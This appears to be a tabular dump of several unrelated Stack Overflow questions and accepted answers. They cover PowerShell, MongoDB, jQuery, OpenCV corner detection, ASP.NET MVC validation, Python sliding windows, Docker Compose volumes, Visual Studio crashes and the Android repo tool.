<p>You can pipe that to a <code>Where-Object</code> filter to pick stuff that is different on the left side...</p>
<p><code>Compare-Object $Folder1 $Folder2 -Property Name, Length | Where-Object {$_.SideIndicator -eq "<="}</code></p>
<p>And then pipe that to a <code>ForEach-Object</code> to copy where you want:</p>
<pre><code>Compare-Object $Folder1 $Folder2 -Property Name, Length | Where-Object {$_.SideIndicator -eq "<="} | ForEach-Object {
Copy-Item "C:\Folder1\$($_.name)" -Destination "C:\Folder3" -Force
}
</code></pre> |
6,590,890 | How to limit number of updating documents in mongodb | <p>How to implement somethings similar to <code>db.collection.find().limit(10)</code> but while updating documents?</p>
<p>Now I'm using something really crappy like getting documents with <code>db.collection.find().limit()</code> and then updating them.</p>
<p>In general I wanna to return given number of records and change one field in each of them.</p>
<p>Thanks.</p> | 6,591,203 | 7 | 2 | null | 2011-07-06 02:17:25.373 UTC | 8 | 2022-08-25 07:07:51.077 UTC | null | null | null | null | 830,736 | null | 1 | 65 | mongodb | 42,843 | <p>Unfortunately the workaround you have is the only way to do it AFAIK. There is a boolean flag <code>multi</code> which will either update all the matches (when <code>true</code>) or update the 1st match (when <code>false</code>).</p> |
6,409,505 | document.getElementByID is not a function | <p>I'm learning jQuery and was following a tutorial, a very strange error has perplexed me.
Here's my html : </p>
<pre><code><!doctype html>
<html>
<head>
<title> Simple Task List </title>
<script src="jquery.js"></script>
<script src="task-list.js"></script>
</head>
<body>
<ul id="tasks">
</ul>
<input type="text" id="task-text" />
<input type="submit" id="add-task" />
</body>
</html>
</code></pre>
<p>and The jQuery :</p>
<pre><code>$(document).ready(function(){
//To add a task when the user hits the return key
$('#task-text').keydown(function(evt){
if(evt.keyCode == 13)
{
add_task(this, evt);
}
});
//To add a task when the user clicks on the submit button
$("#add-task").click(function(evt){
add_task(document.getElementByID("task-text"),evt);
});
});
function add_task(textBox, evt){
evt.preventDefault();
var taskText = textBox.value;
$("<li>").text(taskText).appendTo("#tasks");
textBox.value = "";
};
</code></pre>
<p>When I add elements By hitting the return key, there's no problem.
But When I click the Submit Button then firebug shows this error</p>
<pre><code>document.getElementByID is not a function
[Break On This Error] add_task(document.getElementByID("task-text"),evt);
task-list.js (line 11)
</code></pre>
<p>I tried to use jQuery instead replacing it with </p>
<pre><code>$("#task-text")
</code></pre>
<p>This time the error is :</p>
<pre><code>$("<li>").text(taskText).appendTo is not a function
[Break On This Error] $("<li>").text(taskText).appendTo("#tasks");
task-list.js (line 18
which results in the following error
</code></pre>
<p>I've been trying to debug this for some time but i just don't get it. Its probably a really silly mistake that i've made. Any help is most appreciated.</p>
<p>Edit :
I'm using jQuery 1.6.1</p> | 6,409,524 | 8 | 2 | null | 2011-06-20 09:54:19.397 UTC | 4 | 2022-06-30 03:39:34.3 UTC | null | null | null | null | 632,447 | null | 1 | 53 | javascript|jquery|getelementbyid | 224,188 | <p>It's <code>document.getElementById()</code> and not <code>document.getElementByID()</code>. Check the casing for <code>Id</code>.</p> |
6,555,629 | Algorithm to detect corners of paper sheet in photo | <p>What is the best way to detect the corners of an invoice/receipt/sheet-of-paper in a photo? This is to be used for subsequent perspective correction, before OCR.</p>
<h2>My current approach has been:</h2>
<p>RGB > Gray > Canny Edge Detection with thresholding > Dilate(1) > Remove small objects(6) > clear boarder objects > pick larges blog based on Convex Area. > [corner detection - Not implemented]</p>
<p>I can't help but think there must be a more robust 'intelligent'/statistical approach to handle this type of segmentation. I don't have a lot of training examples, but I could probably get 100 images together.</p>
<h2>Broader context:</h2>
<p>I'm using matlab to prototype, and planning to implement the system in OpenCV and Tesserect-OCR. This is the first of a number of image processing problems I need to solve for this specific application. So I'm looking to roll my own solution and re-familiarize myself with image processing algorithms. </p>
<p>Here are some sample image that I'd like the algorithm to handle: If you'd like to take up the challenge the large images are at <a href="http://madteckhead.com/tmp" rel="noreferrer">http://madteckhead.com/tmp</a> </p>
<p><a href="https://i.stack.imgur.com/z13MW.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/z13MW.jpg" alt="case 1"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0773_sml.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/6GOPm.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/6GOPm.jpg" alt="case 2"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0774_sml.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/y6Nq8.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/y6Nq8.jpg" alt="case 3"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0775_sml.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/Mzaud.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/Mzaud.jpg" alt="case 4"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0776_sml.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<h2>In the best case this gives:</h2>
<p><a href="https://i.stack.imgur.com/817rw.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/817rw.jpg" alt="case 1 - canny"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0773_canny.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/NFior.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/NFior.jpg" alt="case 1 - post canny"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0773_postcanny.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/suaqb.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/suaqb.jpg" alt="case 1 - largest blog"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0773_blob.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<h2>However it fails easily on other cases:</h2>
<p><a href="https://i.stack.imgur.com/nKNwp.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/nKNwp.jpg" alt="case 2 - canny"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0774_canny.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/ZqznM.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/ZqznM.jpg" alt="case 2 - post canny"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0774_postcanny.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p><a href="https://i.stack.imgur.com/X8hba.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/X8hba.jpg" alt="case 2 - largest blog"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0774_blob.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p>
<p>Thanks in advance for all the great ideas! I love SO!</p>
<h2>EDIT: Hough Transform Progress</h2>
<p>Q: What algorithm would cluster the hough lines to find corners?
Following advice from answers I was able to use the Hough Transform, pick lines, and filter them. My current approach is rather crude. I've made the assumption the invoice will always be less than 15deg out of alignment with the image. I end up with reasonable results for lines if this is the case (see below). But am not entirely sure of a suitable algorithm to cluster the lines (or vote) to extrapolate for the corners. The Hough lines are not continuous. And in the noisy images, there can be parallel lines so some form or distance from line origin metrics are required. Any ideas?</p>
<p><img src="https://web.archive.org/web/20130913020727/http://madteckhead.com/tmp/IMG_0773_hough.jpg" alt="case 1">
<a href="https://i.stack.imgur.com/NYGGm.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/NYGGm.jpg" alt="case 2"></a>
<a href="https://i.stack.imgur.com/toesV.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/toesV.jpg" alt="case 3"></a>
<a href="https://i.stack.imgur.com/Cyq6f.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/Cyq6f.jpg" alt="case 4"></a><br>
<sub>(source: <a href="http://madteckhead.com/tmp/IMG_0776_hough.jpg" rel="noreferrer">madteckhead.com</a>)</sub> </p> | 6,644,246 | 8 | 3 | null | 2011-07-02 07:12:23.907 UTC | 99 | 2019-08-11 13:37:28.277 UTC | 2019-08-11 13:37:28.277 UTC | null | 4,751,173 | null | 647,549 | null | 1 | 109 | image-processing|opencv|edge-detection|hough-transform|image-segmentation | 59,388 | <p>I'm Martin's friend who was working on this earlier this year. This was my first ever coding project, and kinda ended in a bit of a rush, so the code needs some errr...decoding...
I'll give a few tips from what I've seen you doing already, and then sort my code on my day off tomorrow.</p>
<p>First tip, <code>OpenCV</code> and <code>python</code> are awesome, move to them as soon as possible. :D</p>
<p>Instead of removing small objects and or noise, lower the canny restraints, so it accepts more edges, and then find the largest closed contour (in OpenCV use <code>findcontour()</code> with some simple parameters, I think I used <code>CV_RETR_LIST</code>). might still struggle when it's on a white piece of paper, but was definitely providing best results. </p>
<p>For the <code>Houghline2()</code> Transform, try with the <code>CV_HOUGH_STANDARD</code> as opposed to the <code>CV_HOUGH_PROBABILISTIC</code>, it'll give <em>rho</em> and <em>theta</em> values, defining the line in polar coordinates, and then you can group the lines within a certain tolerance to those. </p>
<p>My grouping worked as a look up table, for each line outputted from the hough transform it would give a rho and theta pair. If these values were within, say 5% of a pair of values in the table, they were discarded, if they were outside that 5%, a new entry was added to the table.</p>
<p>You can then do analysis of parallel lines or distance between lines much more easily.</p>
<p>Hope this helps.</p> |
6,801,656 | MaxLength Attribute not generating client-side validation attributes | <p>I have a curious problem with ASP.NET MVC3 client-side validation. I have the following class:</p>
<pre><code>public class Instrument : BaseObject
{
public int Id { get; set; }
[Required(ErrorMessage = "Name is required.")]
[MaxLength(40, ErrorMessage = "Name cannot be longer than 40 characters.")]
public string Name { get; set; }
}
</code></pre>
<p>From my view:</p>
<pre><code><div class="editor-field">
@Html.EditorFor(model => model.Name)
@Html.ValidationMessageFor(model => model.Name)
</div>
</code></pre>
<p>And here's the generated HTML I get for the textbox for this field:</p>
<pre><code><input class="text-box single-line" data-val="true" data-val-required="Name is required." id="Name" name="Name" type="text" value="">
</code></pre>
<p>No sign of the <code>MaxLengthAttribute</code>, but everything else seems to be working.</p>
<p>Any ideas what's going wrong?</p> | 6,802,739 | 11 | 0 | null | 2011-07-23 16:10:22.877 UTC | 12 | 2019-06-27 18:38:06.833 UTC | 2017-04-21 17:51:34.31 UTC | null | 2,441,442 | null | 251,200 | null | 1 | 87 | c#|asp.net-mvc|validation|asp.net-mvc-3|model-validation | 130,168 | <p>Try using the <code>[StringLength]</code> attribute:</p>
<pre><code>[Required(ErrorMessage = "Name is required.")]
[StringLength(40, ErrorMessage = "Name cannot be longer than 40 characters.")]
public string Name { get; set; }
</code></pre>
<p>That's for validation purposes. If you want to set for example the maxlength attribute on the input you could write a custom data annotations metadata provider as <a href="https://web-beta.archive.org/web/20160609072225/http://aspadvice.com:80/blogs/kiran/archive/2009/11/29/Adding-html-attributes-support-for-Templates-_2D00_-ASP.Net-MVC-2.0-Beta_2D00_1.aspx" rel="noreferrer">shown in this post</a> and customize the <a href="http://bradwilson.typepad.com/blog/2009/10/aspnet-mvc-2-templates-part-3-default-templates.html" rel="noreferrer">default templates</a>.</p> |
6,822,725 | Rolling or sliding window iterator? | <p>I need a rolling window (aka sliding window) iterable over a sequence/iterator/generator. (Default Python iteration could be considered a special case, where the window length is 1.) I'm currently using the following code. How can I do it more elegantly and/or efficiently?</p>
<pre><code>def rolling_window(seq, window_size):
it = iter(seq)
win = [it.next() for cnt in xrange(window_size)] # First window
yield win
for e in it: # Subsequent windows
win[:-1] = win[1:]
win[-1] = e
yield win
if __name__=="__main__":
for w in rolling_window(xrange(6), 3):
print w
"""Example output:
[0, 1, 2]
[1, 2, 3]
[2, 3, 4]
[3, 4, 5]
"""
</code></pre>
<hr />
<p><sub>For the <em>specific</em> case of <code>window_size == 2</code> (i.e., iterating over adjacent, overlapping pairs in a sequence), see also <a href="https://stackoverflow.com/questions/5434891">Iterate a list as pair (current, next) in Python</a>.</sub></p> | 6,822,773 | 28 | 1 | null | 2011-07-25 21:41:58.377 UTC | 73 | 2022-08-11 07:11:05.463 UTC | 2022-08-11 07:11:05.463 UTC | null | 523,612 | null | 448,970 | null | 1 | 199 | python|algorithm | 155,639 | <p>There's one in an old version of the Python docs with <a href="http://docs.python.org/release/2.3.5/lib/itertools-example.html" rel="noreferrer"><code>itertools</code> examples</a>:</p>
<pre><code>from itertools import islice
def window(seq, n=2):
"Returns a sliding window (of width n) over data from the iterable"
" s -> (s0,s1,...s[n-1]), (s1,s2,...,sn), ... "
it = iter(seq)
result = tuple(islice(it, n))
if len(result) == n:
yield result
for elem in it:
result = result[1:] + (elem,)
yield result
</code></pre>
<p>The one from the docs is a little more succinct and uses <code>itertools</code> to greater effect I imagine.</p>
<hr />
<p><strong>If your iterator is a simple list/tuple</strong> a simple way to slide through it with a specified window size would be:</p>
<pre><code>seq = [0, 1, 2, 3, 4, 5]
window_size = 3
for i in range(len(seq) - window_size + 1):
print(seq[i: i + window_size])
</code></pre>
<p>Output:</p>
<pre><code>[0, 1, 2]
[1, 2, 3]
[2, 3, 4]
[3, 4, 5]
</code></pre> |
42,395,748 | docker-compose volume is empty even from initialize | <p>I try to create a docker-compose image for different website.</p>
<p>Everything is working fine except for my volumes.</p>
<p>Here is an exemple of the <code>docker-compose.yml</code>:</p>
<pre><code>version: '2'
services:
website:
build:
context: ./dockerfiles/
args:
MYSQL_ROOT_PASSWORD: mysqlp@ssword
volumes:
- ./logs:/var/log
- ./html:/var/www
- ./nginx:/etc/nginx
- ./mysql-data:/var/lib/mysql
ports:
- "8082:80"
- "3307:3306"
</code></pre>
<p>Anf here is my <code>Dockerfile</code>:</p>
<pre><code>FROM php:5.6-fpm
ARG MYSQL_ROOT_PASSWORD
RUN export DEBIAN_FRONTEND=noninteractive; \
echo mysql-server mysql-server/root_password password $MYSQL_ROOT_PASSWORD | debconf-set-selections; \
echo mysql-server mysql-server/root_password_again password $MYSQL_ROOT_PASSWORD | debconf-set-selections;
RUN apt-get update && apt-get install -y -q mysql-server php5-mysql nginx wget
EXPOSE 80 3306
VOLUME ["/var/www", "/etc/nginx", "/var/lib/mysql", "/var/log"]
</code></pre>
<p>Everything is working well, expect that all my folders are empty into my host volumes. I want to see the nginx conf and mysql data into my folders.</p>
<p>What am I doing wrong?</p>
<p>EDIT 1 :
Actually the problem is that I want docker-compose to create the volume in my docker directory if it not exist, and to use this volume if it exist, as it is explain in <a href="https://stackoverflow.com/a/39181484">https://stackoverflow.com/a/39181484</a> . But it doesn't seems to work.</p> | 42,396,842 | 1 | 8 | null | 2017-02-22 15:31:11.007 UTC | 8 | 2019-06-05 18:31:47.503 UTC | 2019-06-05 18:31:47.503 UTC | null | 562,769 | null | 4,440,212 | null | 1 | 12 | docker|docker-compose|dockerfile | 19,896 | <p>The problem is that <strong>you're expecting files from the Container to be mounted on your host</strong>.</p>
<p>This is not the way it works: it's the other way around:</p>
<p><strong>Docker mounts your host folder in the container folder you specify</strong>.
If you go inside the container, you will see that where there were supposed to be the init files, there will be nothing (or whatever was in your host folder(s)), and you can write a file in the folder and it will show up on your host.</p>
<p>Your best bet to get the init files and modify them for your container is to:</p>
<ul>
<li>Create a container without mounting the folders (original container data will be there)</li>
<li>Run the container (the container will have the files in the right place from the installation of nginx etc...) <code>docker run <image></code></li>
<li>Copy the files out of the container with <code>docker cp <container>:<container_folder>/* <host_folder></code></li>
<li>Now you have the 'original' files from the container init on your host.</li>
<li>Modify the files as needed for the container.</li>
<li>Run the container mounting your host folders with the new files in them.</li>
</ul>
<p>Notes:
You might want to go inside the container with shell (<code>docker run -it <image> /bin/sh</code>) and zip up all the folders to make sure you got everything if there are nested folders, then <code>docker cp ...</code> the zip file</p>
<p>Also, be careful about filesystem case sensitivity: on linux files are case sensitive. On Mac OS X, they're not. So if you have <code>Init.conf</code> and <code>init.conf</code> in the same folder, they will collide when you copy them to a Mac OS X host.</p> |
15,640,883 | Visual Studio keeps crashing: Application Error | <p>VS keeps crashing, usually when I want to click on some text I want to edit.
When I look in the event log I get;</p>
<pre><code>Log Name: Application
Source: Application Error
Date: 26/03/2013 15:18:30
Event ID: 1000
Task Category: (100)
Level: Error
Keywords: Classic
User: N/A
Computer: (removed)
Description:
Faulting application name: devenv.exe, version: 10.0.40219.1, time stamp: 0x4d5f2a73
Faulting module name: clr.dll, version: 4.0.30319.269, time stamp: 0x4ee9ae83
Exception code: 0xc00000fd
Fault offset: 0x00194a5d
Faulting process id: 0x47c
Faulting application start time: 0x01ce2a3396f0faf2
Faulting application path: c:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\devenv.exe
Faulting module path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
Report Id: 69d0daee-9628-11e2-aeba-005056c00008
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Application Error" />
<EventID Qualifiers="0">1000</EventID>
<Level>2</Level>
<Task>100</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2013-03-26T15:18:30.000000000Z" />
<EventRecordID>23553</EventRecordID>
<Channel>Application</Channel>
<Computer>(removed)</Computer>
<Security />
</System>
<EventData>
<Data>devenv.exe</Data>
<Data>10.0.40219.1</Data>
<Data>4d5f2a73</Data>
<Data>clr.dll</Data>
<Data>4.0.30319.269</Data>
<Data>4ee9ae83</Data>
<Data>c00000fd</Data>
<Data>00194a5d</Data>
<Data>47c</Data>
<Data>01ce2a3396f0faf2</Data>
<Data>c:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\devenv.exe</Data>
<Data>C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll</Data>
<Data>69d0daee-9628-11e2-aeba-005056c00008</Data>
</EventData>
</Event>
</code></pre>
<p>also I get this;</p>
<pre><code>Log Name: Application
Source: Windows Error Reporting
Date: 26/03/2013 15:21:01
Event ID: 1001
Task Category: None
Level: Information
Keywords: Classic
User: N/A
Computer: (removed)
Description:
Fault bucket 2985755835, type 1
Event Name: APPCRASH
Response: Not available
Cab Id: -721041670
Problem signature:
P1: devenv.exe
P2: 10.0.40219.1
P3: 4d5f2a73
P4: clr.dll
P5: 4.0.30319.269
P6: 4ee9ae83
P7: c00000fd
P8: 00194a5d
P9:
P10:
Attached files:
C:\Users\xxx\AppData\Local\Temp\WERE350.tmp.WERInternalMetadata.xml
C:\Users\xxx\AppData\Local\Temp\WERF0C9.tmp.appcompat.txt
C:\Users\xxx\AppData\Local\Temp\WERF108.tmp.mdmp
These files may be available here:
C:\Users\xxx\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_devenv.exe_3f453f47c0d86c534010e7cf6788bb8f42fbcd_cab_144e2fda
Analysis symbol:
Rechecking for solution: 0
Report Id: 69d0daee-9628-11e2-aeba-005056c00008
Report Status: 8
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Windows Error Reporting" />
<EventID Qualifiers="0">1001</EventID>
<Level>4</Level>
<Task>0</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2013-03-26T15:21:01.000000000Z" />
<EventRecordID>23554</EventRecordID>
<Channel>Application</Channel>
<Computer>(removed)</Computer>
<Security />
</System>
<EventData>
<Data>2985755835</Data>
<Data>1</Data>
<Data>APPCRASH</Data>
<Data>Not available</Data>
<Data>-721041670</Data>
<Data>devenv.exe</Data>
<Data>10.0.40219.1</Data>
<Data>4d5f2a73</Data>
<Data>clr.dll</Data>
<Data>4.0.30319.269</Data>
<Data>4ee9ae83</Data>
<Data>c00000fd</Data>
<Data>00194a5d</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
C:\Users\xxx\AppData\Local\Temp\WERE350.tmp.WERInternalMetadata.xml
C:\Users\xxx\AppData\Local\Temp\WERF0C9.tmp.appcompat.txt
C:\Users\xxx\AppData\Local\Temp\WERF108.tmp.mdmp</Data>
<Data>C:\Users\xxx\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_devenv.exe_3f453f47c0d86c534010e7cf6788bb8f42fbcd_cab_144e2fda</Data>
<Data>
</Data>
<Data>0</Data>
<Data>69d0daee-9628-11e2-aeba-005056c00008</Data>
<Data>8</Data>
</EventData>
</Event>
</code></pre> | 15,642,027 | 3 | 1 | null | 2013-03-26 15:24:32.57 UTC | 16 | 2018-05-05 07:30:20.17 UTC | 2018-05-05 07:28:23.717 UTC | null | 736,079 | null | 125,673 | null | 1 | 24 | visual-studio|visual-studio-2012|visual-studio-2015|visual-studio-2013|visual-studio-2017 | 62,543 | <p>Standard checks to resolve these types of errors:</p>
<ul>
<li>uninstall any beta/ctp releases for Visual Studio.</li>
<li>look in the Windows Event Viewer and check for the following two items in the Application log: <a href="https://i.stack.imgur.com/70via.png" rel="noreferrer"><img src="https://i.stack.imgur.com/70via.png" alt="enter image description here"></a> it will contain a stacktrace which may help you find the culprit.</li>
<li>delete any <code>*.*user</code> files and the solution user options file (<code>.suo</code>)</li>
<li><a href="https://msdn.microsoft.com/en-us/library/ms241272.aspx" rel="noreferrer">Run visual studio with activity logging turned on</a> to see if the logs contain a hint to what's causing the crash. (<code>devenv /log</code>)</li>
<li>Run Visual Studio in Safe mode (<code>devenv /safemode</code>)</li>
<li><a href="https://stackoverflow.com/a/17604007/736079">Clear the ComponentModelCache</a> folder</li>
<li>Check to see if any extensions/add-ons/plugins need updates and update them first to see if that fixes your problem.</li>
<li>disable all add-ins and extensions (VS Commands, WebEssentials etc)</li>
<li>uninstall all plugins (resharper, coderush, reflector etc)</li>
<li><p>install the latest patches and service packs, you may need to re-apply these servicepacks if you've installed SQL Server or another product that installs a feature which is based on Visual Studio Shell:</p>
<ul>
<li>2005: <a href="http://www.microsoft.com/en-us/download/details.aspx?id=5553" rel="noreferrer">SP 1</a> & <a href="http://www.microsoft.com/en-us/download/details.aspx?id=3263" rel="noreferrer">TFS 2010 Forward Compatibiltiy Patch</a> & <a href="http://www.microsoft.com/en-us/download/details.aspx?id=7524" rel="noreferrer">Visual Studio update for Windows Vista</a></li>
<li>2008: <a href="http://www.microsoft.com/en-us/download/details.aspx?id=10986" rel="noreferrer">SP 1</a> & <a href="http://support.microsoft.com/kb/2673642/en-us" rel="noreferrer">TFS 2012/VSO Forward Compatibiltiy Patch</a></li>
<li>2010: <a href="http://www.microsoft.com/download/en/details.aspx?id=23691" rel="noreferrer">SP 1</a> & <a href="http://www.microsoft.com/download/en/details.aspx?id=29082" rel="noreferrer">TFS 2012/VSO Forward Compatibility Patch</a> & <a href="http://www.microsoft.com/en-us/download/details.aspx?id=34677" rel="noreferrer">Visual Studio update for Windows 8 and TFS 2012</a>.</li>
<li>2012: <a href="http://www.microsoft.com/en-us/download/details.aspx?id=39305" rel="noreferrer">Update 5</a></li>
<li>2013: <a href="https://go.microsoft.com/fwlink/?LinkId=519379" rel="noreferrer">Update 5</a></li>
<li>2015: <a href="https://go.microsoft.com/fwlink/?LinkId=691129" rel="noreferrer">Update 3</a> & <a href="https://msdn.microsoft.com/en-us/library/mt752379.aspx" rel="noreferrer">KB3165756</a></li>
<li>2017: <a href="https://www.visualstudio.com/downloads/" rel="noreferrer">Update to the latest version</a></li>
</ul></li>
<li><p>reset vs settings (<code>devenv /resetsetting /resetaddin /resetskippkgs /setup</code>)</p></li>
<li>backup & remove the <code>%LOCALAPPDATA%\Microsoft\VisualStudio\</code> folder to have Visual Studio recreate your setting folder.</li>
<li>Do not run Visual Studio while installing extensions, updates etc.</li>
</ul>
<p>Try to reproduce it. If it still occurs, repair Visual Studio and reapply the latest service packs and hotfixes in order. If it then still occurs, submit a <a href="https://support.microsoft.com/oas/default.aspx?gprid=1117&st=1&wfxredirect=1&sd=gn" rel="noreferrer">support ticket</a> to Microsoft, or an item on <a href="http://connect.microsoft.com/VisualStudio" rel="noreferrer">connect</a>.</p>
<p>If it doesn't occur turn-on/install/restore the items one by one until you can find the culprit. I know it's a lot of work, but since your error happens somewhere deep inside the CLR (you're seeing a StackOverflow Exception), it's hard to pinpoint the problem easily. When you've found the problematic item, see if there is an update for it or request their support (or update your question).</p>
<p>In the worst case you can perform a force-uninstall of Visual Studio using <code>vs_setup /uninstall /force</code>, that should work on the 2012 and newer installers.</p>
<p>If you're still on an old version of Visual Studio (2010 or older), really, really. really consider upgrading. These versions are past their support lifetime and were built for versions of Windows that are not even supported anymore. I know the pain these upgrades can cause in the short term, but the long-term solution is really to move away from the old versions.</p> |
15,870,217 | Android source code and repo - What exactly is happening when getting code | <p>I have come across plenty of short questions on minimal aspects of using <code>repo</code> to get Android source or very broad definitions of what <code>repo</code> does and as a result don't really understand what is happening when I use <code>repo</code>. I am following the instructions on the <a href="http://source.android.com/source/downloading.html">Android Source site</a>. I do this all while in my <code>repodir</code> so all mention of files are relative to this.</p>
<h2>Init and sync repo:</h2>
<pre><code>repo init -u https://android.googlesource.com/platform/manifest
repo sync
</code></pre>
<p>After this completes, my folder is full of android type folders (<code>bionic</code>, <code>bootable</code>, etc etc) and a hidden <code>.repo</code> folder. Notably, there is a folder called <code>ics-mr1</code> which relates to a specific version and it contains mostly the same folders in my <code>repodir</code> inside itself.</p>
<h2>Pull down a specific branch:</h2>
<pre><code>repo init -u https://android.googlesource.com/platform/manifest -b gingerbread
repo sync
</code></pre>
<p>This completes relatively quickly and the main change I see is there is now a folder called <code>gingerbread</code> (all the original folders seem to remain).</p>
<p>I now try this and it takes AGES:</p>
<pre><code>repo init -u https://android.googlesource.com/platform/manifest -b android_4.2.2_r1
repo sync
</code></pre>
<p>After, it still contains the same <code>gingerbread</code> and <code>ics-mr1</code> and a few new random folders (like <code>abi</code>) but nothing that seems to be of that new version.</p>
<h2>The question</h2>
<p>From the results of this, I am seeing I really don't understand what exactly my actions are doing and how to achieve what I am trying to.</p>
<p>How can I obtain a local version of the entire <code>master</code> branch of the source, and then correctly change between branches as I see fit? The way I am at the moment seems wrong as the files left after branch changes seem illogical.</p>
<p>To further that, is there an efficient way to have local copies of numerous branches simultaneously such that I can compare the components of each (obviously without re-downloading them each time)?</p>
<p>I am asking these questions with big holes in understanding (ones which I have been unable to find clear consistent information for), so any extra information about the answer to assist in understanding of what is actually being done would really be of value.</p> | 15,871,161 | 1 | 0 | null | 2013-04-08 02:11:40.107 UTC | 14 | 2017-02-18 09:45:46.57 UTC | 2013-04-08 09:58:18.617 UTC | null | 1,386,784 | null | 1,386,784 | null | 1 | 27 | java|android|git|android-source|repository | 3,949 | <h2>repo init</h2>
<p>Since you seem pretty savvy, you know repo is just a python script, right? You can read it to see exactly how it works. I haven't read through the entire thing, but, basically, it wraps <code>git</code> and provides support for working across multiple git repositories. The idea is there is a manifest file that specifies requirements for different versions of Android. When you do <code>repo init</code> with an argument it looks at which git repositories it needs to clone and which git repositories you have already synced, and which branches it needs to fetch once it has obtained the proper repositories. It then handles keeping all the repositories it is managing on the proper branches. Think of repo as adding another layer to the standard git workflow (which I'll assume you're familiar with).</p>
<p>The first time you use repo, to get the master branch, you need to use </p>
<pre><code>repo init -u https://android.googlesource.com/platform/manifest
</code></pre>
<p>And afterwards you need to sync all the files from the server:</p>
<pre><code>repo sync
</code></pre>
<p>This will update your current working directory to the exact state specified by the master version of the manifest you downloaded. To checkout a different version of the AOSP, you use:</p>
<pre><code>repo init -b version_name
</code></pre>
<p>This updates the manifest to the one that contains information about the Android version you want (also called a branch).</p>
<p>Don't forget to sync.</p>
<blockquote>
<p>To switch to another manifest branch, <code>repo init -b otherbranch</code> may
be used in an existing client. However, as this only updates the
manifest, a subsequent <code>repo sync</code> (or <code>repo sync -d</code>) is necessary to
update the working directory files.</p>
</blockquote>
<p>The behavior you are experiencing may seem weird because you're probably not used to working with a system that overwrites your local state so easily. When using git, you're not supposed to <code>init</code> a bunch of times <em>in the same directory</em>. Another option is to make new directories for each project. The purpose of the .repo directory is to store all the information relevant to your current repo setup (also like the .git directory). In fact, running <code>repo init</code> does many things:</p>
<ol>
<li>Downloads the manifest from the specified url. </li>
<li>Tries to open or create the .repo directory.</li>
<li>Makes sure your GPG key is set up.</li>
<li><strong>Clones</strong> the specified branch (which defaults to REPO_REV if none is specified).</li>
<li>Verifies it.</li>
<li>Checks out the appropriate branch for each of the projects.</li>
</ol>
<p>I would assume the clone operation writes over information in the <code>.repo</code> folder. The reason it takes ages after the first command you run:</p>
<pre><code>repo init -u https://android.googlesource.com/platform/manifest
repo sync
</code></pre>
<p>Is because it has to download many gigabytes of information. Now, going from the <code>master</code> branch to <code>gingerbread</code> repo knows it simply needs to drop about 68 commits which can be done very quickly. </p>
<pre><code>$ repo init -u https://android.googlesource.com/platform/manifest -b gingerbread
$ repo sync
...
.repo/manifests/: discarding 68 commits
...
</code></pre>
<p>Ramping back up to <code>android_4.2.2_r1</code> means repo must download any information needed by those commits again, and also update the current branches on all the referenced projects. This will take a long time; repo is trading disk usage for processing time.</p>
<h2>really?</h2>
<p>Now, this presents a problem: what if you want to compare two repo branches at once? This is difficult because when you <code>repo init && repo sync</code> you lose the old information you were looking at. The answer is to copy the relevant information and then <code>repo init && repo sync</code> again. This will get annoying really fast -- thankfully repo provides a way to speed up this process if you have the disk space. </p>
<p>One strategy to make things quicker is to create a local mirror in a <code>workspace/master</code> directory. Then, checkout your desired branch from the mirror in a new directory, e.g. <code>workspace/gingerbread</code>. Now you can switch between branches simply by changing to the appropriate directory.</p>
<p>Mirror the AOSP locally:</p>
<pre><code>cd workspace
mkdir master && cd master
repo init --mirror
</code></pre>
<p>will cause repo to mirror the remote server on your local machine. Then, when you want to switch to a new branch, you can:</p>
<pre><code>mkdir ../gingerbread && cd ../gingerbread
repo init -b version_name --reference=../master
</code></pre>
